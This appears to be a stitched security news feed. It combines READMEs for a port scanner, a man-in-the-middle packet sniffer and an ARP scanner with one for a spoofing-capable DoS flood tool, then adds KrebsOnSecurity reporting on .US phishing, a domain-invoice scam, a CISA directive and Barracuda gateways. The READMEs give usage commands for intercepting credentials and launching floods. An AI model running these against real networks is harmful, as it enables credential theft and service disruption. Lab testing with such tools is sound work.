python networksherlock.py 192.168.1.1 -p 1-1024

Multiple IPs and Port Specification

Scan multiple IP addresses on specific ports:

python networksherlock.py 192.168.1.1,192.168.1.2 -p 22,80,443

CIDR Block Scan

Scan an entire subnet using CIDR notation:

python networksherlock.py 192.168.1.0/24 -p 80

Using Multi-Threading

Perform a scan using multiple threads for faster execution:

python networksherlock.py 192.168.1.1-192.168.1.5 -p 1-1024 -t 20

Scanning with Protocol Selection

Scan using a specific protocol (TCP or UDP):

python networksherlock.py 192.168.1.1 -p 53 -P udp

Scan with Shodan

python networksherlock.py 192.168.1.1 --use-shodan

Scan Multiple Targets with Shodan

python networksherlock.py 192.168.1.1,192.168.1.2 -p 22,80,443 -V --use-shodan

Banner Grabbing and Save Results

Perform a detailed scan with banner grabbing and save results to a file:

python networksherlock.py 192.168.1.1 -p 1-1000 -V -s results.txt

Ping Check Before Scanning

Scan an IP range after performing a ping check:

python networksherlock.py 10.0.0.1-10.0.0.255 -c

OUTPUT EXAMPLE

$ python3 networksherlock.py 10.0.2.12 -t 25 -V -p 21-6000 -t 25
********************************************
Scanning target: 10.0.2.12
Scanning IP    : 10.0.2.12
Ports          : 21-6000
Threads        : 25
Protocol       : tcp
---------------------------------------------
Port        Status   Service           VERSION
22  /tcp     open     ssh            SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
21  /tcp     open     telnet         220 (vsFTPd 2.3.4)
80  /tcp     open     http           HTTP/1.1 200 OK
139 /tcp     open     netbios-ssn    %SMBr
25  /tcp     open     smtp           220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
23  /tcp     open     smtp            #' #'
445 /tcp     open     microsoft-ds   %SMBr
514 /tcp     open     shell          
512 /tcp     open     exec           Where are you?
1524/tcp     open     ingreslock     ro   ot@metasploitable:/#
2121/tcp     open     iprop          220 ProFTPD 1.3.1 Server (Debian) [::ffff:10.0.2.12]
3306/tcp     open     mysql          >
5900/tcp     open     unknown        RFB 003.003
53  /tcp     open     domain              
---------------------------------------------

OutPut Example

$ python3 networksherlock.py 10.0.2.0/24 -t 10 -V -p 21-1000
********************************************
Scanning target: 10.0.2.1
Scanning IP    : 10.0.2.1
Ports          : 21-1000
Threads        : 10
Protocol       : tcp
---------------------------------------------
Port        Status   Service           VERSION
53  /tcp     open     domain         
********************************************
Scanning target: 10.0.2.2
Scanning IP    : 10.0.2.2
Ports          : 21-1000
Threads        : 10
Protocol       : tcp
---------------------------------------------
Port        Status   Service           VERSION
445 /tcp     open     microsoft-ds   
135 /tcp     open     epmap          
********************************************
Scanning target: 10.0.2.12
Scanning IP    : 10.0.2.12
Ports          : 21-   1000
Threads        : 10
Protocol       : tcp
---------------------------------------------
Port        Status   Service           VERSION
21  /tcp     open     ftp           220 (vsFTPd 2.3.4)
22  /tcp     open     ssh           SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
23  /tcp     open     telnet          #'
80  /tcp     open     http           HTTP/1.1 200 OK
53  /tcp     open     kpasswd        464/udpcp                     
445 /tcp     open     domain         %SMBr
3306/tcp     open     mysql          >
********************************************
Scanning target: 10.0.2.20
Scanning IP    : 10.0.2.20
Ports          : 21-1000
Threads        : 10
Protocol       : tcp
---------------------------------------------
Port        Status   Service           VERSION
22  /tcp     open     ssh            SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9

Contributing

Contributions are welcome! To contribute to NetworkSherlock, follow these steps:

1. Fork the repository.
2. Create a new branch for your feature or bug fix.
3. Make your changes and commit them.
4. Push your changes to your forked repository.
5. Open a pull request in the main repository.

Contact

• Linktr :Halil Deniz
• LinkedIn : Halil İbrahim Deniz
• TryHackMe : halilovic
• Instagram : deniz.halil333
• YouTube : HalilDeniz
• Email: halildeniz313@gmail.com

PacketSpy - Powerful Network Packet Sniffing Tool Designed To Capture And Analyze Network Traffic

PacketSpy is a powerful network packet sniffing tool designed to capture and analyze network traffic. It provides a comprehensive set of features for inspecting HTTP requests and responses, viewing raw payload data, and gathering information about network devices. With PacketSpy, you can gain valuable insights into your network's communication patterns and troubleshoot network issues effectively.

Features

• Packet Capture: Capture and analyze network packets in real-time.
• HTTP Inspection: Inspect HTTP requests and responses for detailed analysis.
• Raw Payload Viewing: View raw payload data for deeper investigation.
• Device Information: Gather information about network devices, including IP addresses and MAC addresses.

Installation

git clone https://github.com/HalilDeniz/PacketSpy.git

Requirements

PacketSpy requires the following dependencies to be installed:

pip install -r requirements.txt

Getting Started

To get started with PacketSpy, use the following command-line options:

root@denizhalil:/PacketSpy# python3 packetspy.py --help                          
usage: packetspy.py [-h] [-t TARGET_IP] [-g GATEWAY_IP] [-i INTERFACE] [-tf TARGET_FIND] [--ip-forward] [-m METHOD]

options:
  -h, --help            show this help message and exit
  -t TARGET_IP, --target TARGET_IP
                        Target IP address
  -g GATEWAY_IP, --gateway GATEWAY_IP
Gateway IP address
  -i INTERFACE, --interface INTERFACE
                        Interface name
  -tf TARGET_FIND, --targetfind TARGET_FIND
                        Target IP range to find
  --ip-forward, -if     Enable packet forwarding
  -m METHOD, --method METHOD
                        Limit sniffing to a specific HTTP method

Examples

1. Device Detection

root@denizhalil:/PacketSpy# python3 packetspy.py -tf 10.0.2.0/24 -i eth0

        Device discovery
**************************************
   Ip Address       Mac Address
**************************************
    10.0.2.1      52:54:00:12:35:00
    10.0.2.2      52:54:00:12:35:00
    10.0.2.3      08:00:27:78:66:95
    10.0.2.11     08:00:27:65:96:cd
    10.0.2.12     08:00:27:2f:64:fe

2. Man-in-the-Middle Sniffing

root@denizhalil:/PacketSpy# python3 packetspy.py -t 10.0.2.11 -g 10.0.2.1 -i eth0
******************* started sniff *******************

HTTP Request:
    Method: b'POST'
    Host: b'testphp.vulnweb.com'
    Path: b'/userinfo.php'
    Source IP: 10.0.2.20
    Source MAC: 08:00:27:04:e8:82
    Protocol: HTTP
    User-Agent: b'Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0'

Raw Payload:
b'uname=admin&pass=mysecretpassword'

HTTP Response:
    Status Code: b'302'
    Content Type: b'text/html; charset=UTF-8'
--------------------------------------------------

FootNote

Https work still in progress

Contributing

Contributions are welcome! To contribute to PacketSpy, follow these steps:

1. Fork the repository.
2. Create a new branch for your feature or bug fix.
3. Make your changes and commit them.
4. Push your changes to your forked repository.
5. Open a pull request in the main repository.

Contact

If you have any questions, comments, or suggestions about PacketSpy, please feel free to contact me:

• LinkedIn: LinkedIn
• TryHackMe: TryHackMe
• Instagram: Instagram
• YouTube: YouTube
• Email: halildeniz313@gmail.com

License

PacketSpy is released under the MIT License. See LICENSE for more information.

NetProbe - Network Probe

NetProbe is a tool you can use to scan for devices on your network. The program sends ARP requests to any IP address on your network and lists the IP addresses, MAC addresses, manufacturers, and device models of the responding devices.

Features

• Scan for devices on a specified IP address or subnet
• Display the IP address, MAC address, manufacturer, and device model of discovered devices
• Live tracking of devices (optional)
• Save scan results to a file (optional)
• Filter by manufacturer (e.g., 'Apple') (optional)
• Filter by IP range (e.g., '192.168.1.0/24') (optional)
• Scan rate in seconds (default: 5) (optional)

Download

You can download the program from the GitHub page.

$ git clone https://github.com/HalilDeniz/NetProbe.git

Installation

To install the required libraries, run the following command:

$ pip install -r requirements.txt

Usage

To run the program, use the following command:

$ python3 netprobe.py [-h] -t  [...] -i  [...] [-l] [-o] [-m] [-r] [-s]

• -h,--help: show this help message and exit
• -t,--target: Target IP address or subnet (default: 192.168.1.0/24)
• -i,--interface: Interface to use (default: None)
• -l,--live: Enable live tracking of devices
• -o,--output: Output file to save the results
• -m,--manufacturer: Filter by manufacturer (e.g., 'Apple')
• -r,--ip-range: Filter by IP range (e.g., '192.168.1.0/24')
• -s,--scan-rate: Scan rate in seconds (default: 5)

Example:

$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -o results.txt -l

Help Menu

$ python3 netprobe.py --help                      
usage: netprobe.py [-h] -t  [...] -i  [...] [-l] [-o] [-m] [-r] [-s]

NetProbe: Network Scanner Tool

options:
  -h, --help            show this help message and exit
  -t  [ ...], --target  [ ...]
                        Target IP address or subnet (default: 192.168.1.0/24)
  -i  [ ...], --interface  [ ...]
                        Interface to use (default: None)
  -l, --live            Enable live tracking of devices
  -o , --output         Output file to save the results
  -m , --manufacturer   Filter by manufacturer (e.g., 'Apple')
  -r , --ip-range       Filter by IP range (e.g., '192.168.1.0/24')
  -s , --scan-rate      Scan rate in seconds (default: 5)

Default Scan

$ python3 netprobe.py 

Live Tracking

You can enable live tracking of devices on your network by using the -l or --live flag. This will continuously update the device list every 5 seconds.

$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -l

Save Results

You can save the scan results to a file by using the -o or --output flag followed by the desired output file name.

$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -l -o results.txt

┏━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ IP Address   ┃ MAC Address       ┃ Packet Size ┃ Manufacturer                 ┃
┡━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ 192.168.1.1  │ **:6e:**:97:**:28 │ 102         │ ASUSTek COMPUTER INC.        │
│ 192.168.1.3  │ 00:**:22:**:12:** │ 102         │ InPro Comm                   │
│ 192.168.1.2  │ **:32:**:bf:**:00 │ 102         │ Xiaomi Communications Co Ltd │
│ 192.168.1.98 │ d4:**:64:**:5c:** │ 102         │ ASUSTek COMPUTER INC.        │
│ 192.168.1.25 │ **:49:**:00:**:38 │ 102         │ Unknown                      │
└──────────────┴───────────────────┴─────────────┴──────────────────────────────┘

Contact

If you have any questions, suggestions, or feedback about the program, please feel free to reach out to me through any of the following platforms:

• Mywebsite: Denizhalil
• LinkedIn: LinkedIn
• TryHackMe: TryHackMe
• Instagram: Instagram
• YouTube: YouTube
• Email: halildeniz313@gmail.com

License

This program is released under the MIT LICENSE. See LICENSE for more information.

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DoSinator - A Powerful Denial Of Service (DoS) Testing Tool

DoSinator is a versatile Denial of Service (DoS) testing tool developed in Python. It empowers security professionals and researchers to simulate various types of DoS attacks, allowing them to assess the resilience of networks, systems, and applications against potential cyber threats. 

Features

• Multiple Attack Modes: DoSinator supports SYN Flood, UDP Flood, and ICMP Flood attack modes, allowing you to simulate various types of DoS attacks.
• Customizable Parameters: Adjust the packet size, attack rate, and duration to fine-tune the intensity and duration of the attack.
• IP Spoofing: Enable IP spoofing to mask the source IP address and enhance anonymity during the attack.
• Multithreaded Packet Sending: Utilize multiple threads for simultaneous packet sending, maximizing the attack speed and efficiency.

Requirements

• Python 3.x
• scapy
• argparse

Installation

1. Clone the repository:

   git clone https://github.com/HalilDeniz/DoSinator.git

2. Navigate to the project directory:

   cd DoSinator

3. Install the required dependencies:

   pip install -r requirements.txt

Usage

usage: dos_tool.py [-h] -t TARGET -p PORT [-np NUM_PACKETS] [-ps PACKET_SIZE]
                   [-ar ATTACK_RATE] [-d DURATION] [-am {syn,udp,icmp,http,dns}]
                   [-sp SPOOF_IP] [--data DATA]

optional arguments:
  -h, --help            Show this help message and exit.
  -t TARGET, --target TARGET
                        Target IP address.
  -p PORT, --port PORT  Target port number.
  -np NUM_PACKETS, --num_packets NUM_PACKETS
                        Number of packets to send (default: 500).
  -ps PACKET_SIZE, --packet_size PACKET_SIZE
                        Packet size in bytes (default: 64).
  -ar ATTACK_RATE, --attack_rate ATTACK_RATE
                        Attack rate in packets per second (default: 10).
  -d DURATION, --duration DURATION
                        Duration of the attack in seconds.
  -am {syn,udp,icmp,htt   p,dns}, --attack-mode {syn,udp,icmp,http,dns}
                        Attack mode (default: syn).
  -sp SPOOF_IP, --spoof-ip SPOOF_IP
                        Spoof IP address.
  --data DATA           Custom data string to send.

• target_ip: IP address of the target system.
• target_port: Port number of the target service.
• num_packets: Number of packets to send (default: 500).
• packet_size: Size of each packet in bytes (default: 64).
• attack_rate: Attack rate in packets/second (default: 10).
• duration: Duration of the attack in seconds.
• attack_mode: Attack mode: syn, udp, icmp, http (default: syn).
• spoof_ip: Spoof IP address (default: None).
• data: Custom data string to send.

Disclaimer

The usage of the Dosinator tool for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state, and federal laws. The author assumes no liability and is not responsible for any misuse or damage caused by this program.

By using Dosinator, you agree to use this tool for educational and ethical purposes only. The author is not responsible for any actions or consequences resulting from misuse of this tool.

Please ensure that you have the necessary permissions to conduct any form of testing on a target network. Use this tool at your own risk.

Contributing

Contributions are welcome! If you find any issues or have suggestions for improvements, feel free to open an issue or submit a pull request.

Contact

If you have any questions, comments, or suggestions about Dosinator, please feel free to contact me:

• LinkedIn: Halil Ibrahim Deniz
• TryHackMe: Halilovic
• Instagram: deniz.halil333
• YouTube: Halil Deniz
• Email: halildeniz313@gmail.com

Everything You Wanted to Know About AI Security but Were Afraid to Ask

Why is .US Being Used to Phish So Many of Us?

Domain names ending in “.US” — the top-level domain for the United States — are among the most prevalent in phishing scams, new research shows. This is noteworthy because .US is overseen by the U.S. government, which is frequently the target of phishing domains ending in .US. Also, .US domains are only supposed to be available to U.S. citizens and to those who can demonstrate that they have a physical presence in the United States.

.US is the “country code top-level domain” or ccTLD of the United States. Most countries have their own ccTLDs: .MX for Mexico, for example, or .CA for Canada. But few other major countries in the world have anywhere near as many phishing domains each year as .US.

That’s according to The Interisle Consulting Group, which gathers phishing data from multiple industry sources and publishes an annual report on the latest trends. Interisle’s newest study examined six million phishing reports between May 1, 2022 and April 30, 2023, and found 30,000 .US phishing domains.

.US is overseen by the National Telecommunications and Information Administration (NTIA), an executive branch agency of the U.S. Department of Commerce. However, NTIA currently contracts out the management of the .US domain to GoDaddy, by far the world’s largest domain registrar.

Under NTIA regulations, the administrator of the .US registry must take certain steps to verify that their customers actually reside in the United States, or own organizations based in the U.S. But Interisle found that whatever GoDaddy was doing to manage that vetting process wasn’t working.

“The .US ‘nexus’ requirement theoretically limits registrations to parties with a national connection, but .US had very high numbers of phishing domains,” Interisle wrote. “This indicates a possible problem with the administration or application of the nexus requirements.”

Dean Marks is emeritus executive director for a group called the Coalition for Online Accountability, which has been critical of the NTIA’s stewardship of .US. Marks says virtually all European Union member state ccTLDs that enforce nexus restrictions also have massively lower levels of abuse due to their policies and oversight.

“Even very large ccTLDs, like .de for Germany — which has a far larger market share of domain name registrations than .US — have very low levels of abuse, including phishing and malware,” Marks told KrebsOnSecurity. “In my view, this situation with .US should not be acceptable to the U.S. government overall, nor to the US public.”

Marks said there are very few phishing domains ever registered in other ccTLDs that also restrict registrations to their citizens, such as .HU (Hungary), .NZ (New Zealand), and .FI (Finland), where a connection to the country, a proof of identity, or evidence of incorporation are required.

“Or .LK (Sri Lanka), where the acceptable use policy includes a ‘lock and suspend’ if domains are reported for suspicious activity,” Marks said. “These ccTLDs make a strong case for validating domain registrants in the interest of public safety.”

Sadly, .US has been a cesspool of phishing activity for many years. As far back as 2018, Interisle found .US domains were the worst in the world for spam, botnet (attack infrastructure for DDOS etc.) and illicit or harmful content. Back then, .US was being operated by a different contractor.

In response to questions from KrebsOnSecurity, GoDaddy said all .US registrants must certify that they meet the NTIA’s nexus requirements. But this appears to be little more than an affirmative response that is already pre-selected for all new registrants.

Attempting to register a .US domain through GoDaddy, for example, leads to a U.S. Registration Information page that auto-populates the nexus attestation field with the response, “I am a citizen of the US.” Other options include, “I am a permanent resident of the US,” and “My primary domicile is in the US.” It currently costs just $4.99 to obtain a .US domain through GoDaddy.

GoDaddy said it also conducts a scan of selected registration request information, and conducts “spot checks” on registrant information.

“We conduct regular reviews, per policy, of registration data within the Registry database to determine Nexus compliance with ongoing communications to registrars and registrants,” the company said in a written statement.

GoDaddy says it “is committed to supporting a safer online environment and proactively addressing this issue by assessing it against our own anti-abuse mitigation system.”

“We stand against DNS abuse in any form and maintain multiple systems and protocols to protect all the TLDs we operate,” the statement continued. “We will continue to work with registrars, cybersecurity firms and other stakeholders to make progress with this complex challenge.”

Interisle found significant numbers of .US domains were registered to attack some of the United States’ most prominent companies, including Bank of America, Amazon, Apple, AT&T, Citi, Comcast, Microsoft, Meta, and Target.

“Ironically, at least 109 of the .US domains in our data were used to attack the United States government, specifically the United States Postal Service and its customers,” Interisle wrote. “.US domains were also used to attack foreign government operations: six .US domains were used to attack Australian government services, six attacked Great’s Britain’s Royal Mail, one attacked Canada Post, and one attacked the Denmark Tax Authority.”

The NTIA recently published a proposal that would allow GoDaddy to redact registrant data from WHOIS registration records. The current charter for .US specifies that all .US registration records be public.

Interisle argues that without more stringent efforts to verify a United States nexus for new .US domain registrants, the NTIA’s proposal will make it even more difficult to identify phishers and verify registrants’ identities and nexus qualifications.

In a written statement, the NTIA said DNS abuse is a priority issue for the agency, and that NTIA supports “evidence-based policymaking.”

“We look forward to reviewing the report and will engage with our contractor for the .US domain on steps that we can take not only to address phishing, but the other forms of DNS abuse as well,” the statement reads.

Interisle sources its phishing data from several places, including the Anti-Phishing Working Group (APWG), OpenPhish, PhishTank, and Spamhaus. For more phishing facts, see Interisle’s 2023 Phishing Landscape report (PDF).’

Update, Sept. 5, 1:44 p.m. ET: Updated story with statement provided today by the NTIA.

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Who’s Behind the DomainNetworks Snail Mail Scam?

If you’ve ever owned a domain name, the chances are good that at some point you’ve received a snail mail letter which appears to be a bill for a domain or website-related services. In reality, these misleading missives try to trick people into paying for useless services they never ordered, don’t need, and probably will never receive. Here’s a look at the most recent incarnation of this scam — DomainNetworks — and some clues about who may be behind it.

The DomainNetworks mailer may reference a domain that is or was at one point registered to your name and address. Although the letter includes the words “marketing services” in the upper right corner, the rest of the missive is deceptively designed to look like a bill for services already rendered.

DomainNetworks claims that listing your domain with their promotion services will result in increased traffic to your site. This is a dubious claim for a company that appears to be a complete fabrication, as we’ll see in a moment.  But happily, the proprietors of this enterprise were not so difficult to track down.

The website Domainnetworks[.]com says it is a business with a post office box in Hendersonville, N.C., and another address in Santa Fe, N.M. There are a few random, non-technology businesses tied to the phone number listed for the Hendersonville address, and the New Mexico address was used by several no-name web hosting companies.

However, there is little connected to these addresses and phone numbers that get us any closer to finding out who’s running Domainnetworks[.]com. And neither entity appears to be an active, official company in their supposed state of residence, at least according to each state’s Secretary of State database.

The Better Business Bureau listing for DomainNetworks gives it an “F” rating, and includes more than 100 reviews by people angry at receiving one of these scams via snail mail. Helpfully, the BBB says DomainNetworks previously operated under a different name: US Domain Authority LLC.

DomainNetworks has an “F” reputation with the Better Business Bureau.

Copies of snail mail scam letters from US Domain Authority posted online show that this entity used the domain usdomainauthority[.]com, registered in May 2022. The Usdomainauthority mailer also featured a Henderson, NC address, albeit at a different post office box.

Usdomainauthority[.]com is no longer online, and the site seems to have blocked its pages from being indexed by the Wayback Machine at archive.org. But searching on a long snippet of text from DomainNetworks[.]com about refund requests shows that this text was found on just one other active website, according to publicwww.com, a service that indexes the HTML code of existing websites and makes it searchable.

A deceptive snail mail solicitation from DomainNetwork’s previous iteration — US Domain Authority. Image: Joerussori.com

That other website is a domain registered in January 2023 called thedomainsvault[.]com, and its registration details are likewise hidden behind privacy services. Thedomainsvault’s “Frequently Asked Questions” page is quite similar to the one on the DomainNetworks website; both begin with the question of why the company is sending a mailer that looks like a bill for domain services.

Thedomainsvault[.]com includes no useful information about the entity or people who operate it; clicking the “Contact-us” link on the site brings up a page with placeholder Lorem Ipsum text, a contact form, and a phone number of 123456789.

However, searching passive DNS records at DomainTools.com for thedomainsvault[.]com shows that at some point whoever owns the domain instructed incoming email to be sent to ubsagency@gmail.com.

The first result that currently pops up when searching for “ubsagency” in Google is ubsagency[.]com, which says it belongs to a Las Vegas-based Search Engine Optimization (SEO) and digital marketing concern generically named both United Business Service and United Business Services. UBSagency’s website is hosted at the same Ann Arbor, Mich. based hosting firm (A2 Hosting Inc) as thedomainsvault[.]com.

UBSagency’s LinkedIn page says the company has offices in Vegas, Half Moon Bay, Calif., and Renton, Wash. But once again, none of the addresses listed for these offices reveal any obvious clues about who runs UBSagency. And once again, none of these entities appear to exist as official businesses in their claimed state of residence.

Searching on ubsagency@gmail.com in Constella Intelligence shows the address was used sometime before February 2019 to create an account under the name “Sammy\Sam_Alon” at the interior decorating site Houzz.com. In January 2019, Houzz acknowledged that a data breach exposed account information on an undisclosed number of customers, including user IDs, one-way encrypted passwords, IP addresses, city and ZIP codes, as well as Facebook information.

Sammy\Sam_Alon registered at Houzz using an Internet address in Huntsville, Ala. (68.35.149.206). Constella says this address was associated with the email tropicglobal@gmail.com, which also is tied to several other “Sammy” accounts at different stores online.

Constella also says a highly unique password re-used by tropicglobal@gmail.com across numerous sites was used in connection with just a few other email accounts, including shenhavgroup@gmail.com, and distributorinvoice@mail.com.

The shenhavgroup@gmail.com address was used to register a Twitter account for a Sam Orit Alon in 2013, whose account says they are affiliated with the Shenhav Group. According to DomainTools, shenhavgroup@gmail.com was responsible for registering roughly two dozen domains, including the now-defunct unitedbusinessservice[.]com.

Constella further finds that the address distributorinvoice@mail.com was used to register an account at whmcs.com, a web hosting platform that suffered a breach of its user database several years back. The name on the WHMCS account was Shmuel Orit Alon, from Kidron, Israel.

UBSagency also has a Facebook page, or maybe “had” is the operative word because someone appears to have defaced it. Loading the Facebook page for UBSagency shows several of the images have been overlaid or replaced with a message from someone who is really disappointed with Sam Alon.

“Sam Alon is a LIAR, THIEF, COWARD AND HAS A VERY SMALL D*CK,” reads one of the messages:

The current Facebook profile page for UBSagency includes a logo that is similar to the DomainNetworks logo.

The logo in the UBSagency profile photo includes a graphic of what appears to be a magnifying glass with a line that zig-zags through bullet points inside and outside the circle, a unique pattern that is remarkably similar to the logo for DomainNetworks:

The logos for DomainNetworks (left) and UBSagency.

Constella also found that the same Huntsville IP address used by Sam Alon at Houzz was associated with yet another Houzz account, this one for someone named “Eliran.”

The UBSagency Facebook page features several messages from an Eliran “Dani” Benz, who is referred to by commenters as an employee or partner with UBSagency. The last check-in on Benz’s profile is from a beach at Rishon Letziyon in Israel earlier this year.

Neither Mr. Alon nor Mr. Benz responded to multiple requests for comment.

It may be difficult to believe that anyone would pay an invoice for a domain name or SEO service they never ordered. However, there is plenty of evidence that these phony bills often get processed by administrative personnel at organizations that end up paying the requested amount because they assume it was owed for some services already provided.

In 2018, KrebsOnSecurity published How Internet Savvy are Your Leaders?, which examined public records to show that dozens of cities, towns, school districts and even political campaigns across the United States got snookered into paying these scam domain invoices from a similar scam company called WebListings Inc.

In 2020, KrebsOnSecurity featured a deep dive into who was likely behind the WebListings scam, which had been sending out these snail mail scam letters for over a decade. That investigation revealed the scam’s connection to a multi-level marketing operation run out of the U.K., and to two brothers living in Scotland.

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CISA Order Highlights Persistent Risk at Network Edge

The U.S. government agency in charge of improving the nation’s cybersecurity posture is ordering all federal agencies to take new measures to restrict access to Internet-exposed networking equipment. The directive comes amid a surge in attacks targeting previously unknown vulnerabilities in widely used security and networking appliances.

Under a new order from the Cybersecurity and Infrastructure Security Agency (CISA), federal agencies will have 14 days to respond to any reports from CISA about misconfigured or Internet-exposed networking equipment. The directive applies to any networking devices — such as firewalls, routers and load balancers — that allow remote authentication or administration.

The order requires federal departments to limit access so that only authorized users on an agency’s local or internal network can reach the management interfaces of these devices. CISA’s mandate follows a slew of recent incidents wherein attackers exploited zero-day flaws in popular networking products to conduct ransomware and cyber espionage attacks on victim organizations.

Earlier today, incident response firm Mandiant revealed that since at least October 2022, Chinese cyber spies have been exploiting a zero-day vulnerability in many email security gateway (ESG) appliances sold by California-based Barracuda Networks to hoover up email from organizations using these devices.

Barracuda was alerted to the exploitation of a zero-day in its products in mid-May, and two days later the company pushed a security update to address the flaw in all affected devices. But last week, Barracuda took the highly unusual step of offering to replace compromised ESGs, evidently in response to malware that altered the systems in such a fundamental way that they could no longer be secured remotely with software updates.

According to Mandiant, a previously unidentified Chinese hacking group was responsible for exploiting the Barracuda flaw, and appeared to be searching through victim organization email records for accounts “belonging to individuals working for a government with political or strategic interest to [China] while this victim government was participating in high-level, diplomatic meetings with other countries.”

When security experts began raising the alarm about a possible zero-day in Barracuda’s products, the Chinese hacking group altered their tactics, techniques and procedures (TTPs) in response to Barracuda’s efforts to contain and remediate the incident, Mandiant found.

Mandiant said the attackers will continue to change their tactics and malware, “especially as network defenders continue to take action against this adversary and their activity is further exposed by the infosec community.”

Meanwhile, this week we learned more details about the ongoing exploitation of a zero-day flaw in a broad range of virtual private networking (VPN) products made by Fortinet — devices many organizations rely on to facilitate remote network access for employees.

On June 11, Fortinet released a half-dozen security updates for its FortiOS firmware, including a weakness that researchers said allows an attacker to run malware on virtually any Fortinet SSL VPN appliance. The researchers found that just being able to reach the management interface for a vulnerable Fortinet SSL VPN appliance was enough to completely compromise the devices.

“This is reachable pre-authentication, on every SSL VPN appliance,” French vulnerability researcher Charles Fol tweeted. “Patch your #Fortigate.”

In details published on June 12, Fortinet confirmed that one of the vulnerabilities (CVE-2023-27997) is being actively exploited. The company said it discovered the weakness in an internal code audit that began in January 2023 — when it learned that Chinese hackers were exploiting a different zero-day flaw in its products.

Shodan.io, the search engine made for finding Internet of Things devices, reports that there are currently more than a half-million vulnerable Fortinet devices reachable via the public Internet.

The new cybersecurity directive from CISA orders agencies to remove any networking device management interfaces from the internet by making them only accessible from an internal enterprise network (CISA recommends an isolated management network). CISA also says agencies should “deploy capabilities, as part of a Zero Trust Architecture, that enforce access control to the interface through a policy enforcement point separate from the interface itself (preferred action).”

Security experts say CISA’s directive highlights the reality that cyberspies and ransomware gangs are making it increasingly risky for organizations to expose any devices to the public Internet, because these groups have strong incentives to probe such devices for previously unknown security vulnerabilities.

The most glaring example of this dynamic can be seen in the frequency with which ransomware groups have discovered and pounced on zero-day flaws in widely-used file transfer applications. One ransomware gang in particular — Cl0p — has repeatedly exploited zero day bugs in various file transfer appliances to extort tens of millions of dollars from hundreds of ransomware victims.

On February 2, KrebsOnSecurity broke the news that attackers were exploiting a zero-day vulnerability in the GoAnywhere file transfer appliance by Fortra. By the time security updates were available to fix the vulnerability, Cl0p had already used it to steal data from more than a hundred organizations running Fortra’s appliance.

According to CISA, on May 27, Cl0p began exploiting a previously unknown flaw in MOVEit Transfer, a popular Internet-facing file transfer application. MOVEit parent Progress Software has since released security updates to address the weakness, but Cl0p claims to have already used it to compromise hundreds of victim organizations. TechCrunch has been tracking the fallout from victim organizations, which range from banks and insurance providers to universities and healthcare entities.

The always on-point weekly security news podcast Risky Business has recently been urging organizations to jettison any and all FTP appliances, noting that Cl0p (or another crime gang) is likely to visit the same treatment on other FTP appliance vendors.

But that sound advice doesn’t exactly scale for mid-tier networking devices like Barracuda ESGs or Fortinet SSL VPNs, which are particularly prominent in small to mid-sized organizations.

“It’s not like FTP services, you can’t tell an enterprise [to] turn off the VPN [because] the productivity hit of disconnecting the VPN is terminal, it’s a non-starter,” Risky Business co-host Adam Boileau said on this week’s show. “So how to mitigate the impact of having to use a domain-joined network appliance at the edge of your network that is going to get zero-day in it? There’s no good answer.”

Risky Business founder Patrick Gray said the COVID-19 pandemic breathed new life into entire classes of networking appliances that rely on code which was never designed with today’s threat models in mind.

“In the years leading up to the pandemic, the push towards identity-aware proxies and zero trust everything and moving away from this type of equipment was gradual, but it was happening,” Gray said. “And then COVID-19 hit and everybody had to go work from home, and there really was one option to get going quickly — which was to deploy VPN concentrators with enterprise features.”

Gray said the security industry had been focused on building the next generation of remote access tools that are more security-hardened, but when the pandemic hit organizations scrambled to cobble together whatever they could.

“The only stuff available in the market was all this old crap that is not QA’d properly, and every time you shake them CVEs fall out,” Gray remarked, calling the pandemic, “a shot in the arm” to companies like Fortinet and Barracuda.

“They sold so many VPNs through the pandemic and this is the hangover,” Gray said. “COVID-19 extended the life of these companies and technologies, and that’s unfortunate.”

Barracuda Urges Replacing — Not Patching — Its Email Security Gateways

It’s not often that a zero-day vulnerability causes a network security vendor to urge customers to physically remove and decommission an entire line of affected hardware — as opposed to just applying software updates. But experts say that is exactly what transpired this week with Barracuda Networks, as the company struggled to combat a sprawling malware threat which appears to have undermined its email security appliances in such a fundamental way that they can no longer be safely updated with software fixes.

The Barracuda Email Security Gateway (ESG) 900 appliance.

Campbell, Calif. based Barracuda said it hired incident response firm Mandiant on May 18 after receiving reports about unusual traffic originating from its Email Security Gateway (ESG) devices, which are designed to sit at the edge of an organization’s network and scan all incoming and outgoing email for malware.

On May 19, Barracuda identified that the malicious traffic was taking advantage of a previously unknown vulnerability in its ESG appliances, and on May 20 the company pushed a patch for the flaw to all affected appliances (CVE-2023-2868).

In its security advisory, Barracuda said the vulnerability existed in the Barracuda software component responsible for screening attachments for malware. More alarmingly, the company said it appears attackers first started exploiting the flaw in October 2022.

But on June 6, Barracuda suddenly began urging its ESG customers to wholesale rip out and replace — not patch — affected appliances.

“Impacted ESG appliances must be immediately replaced regardless of patch version level,” the company’s advisory warned. “Barracuda’s recommendation at this time is full replacement of the impacted ESG.”

In a statement, Barracuda said it will be providing the replacement product to impacted customers at no cost, and that not all ESG appliances were compromised.

“No other Barracuda product, including our SaaS email solutions, were impacted by this vulnerability,” the company said. “If an ESG appliance is displaying a notification in the User Interface, the ESG appliance had indicators of compromise. If no notification is displayed, we have no reason to believe that the appliance has been compromised at this time.”

Nevertheless, the statement says that “out of an abundance of caution and in furtherance of our containment strategy, we recommend impacted customers replace their compromised appliance.”

“As of June 8, 2023, approximately 5% of active ESG appliances worldwide have shown any evidence of known indicators of compromise due to the vulnerability,” the statement continues. “Despite deployment of additional patches based on known IOCs, we continue to see evidence of ongoing malware activity on a subset of the compromised appliances. Therefore, we would like customers to replace any compromised appliance with a new unaffected device.”

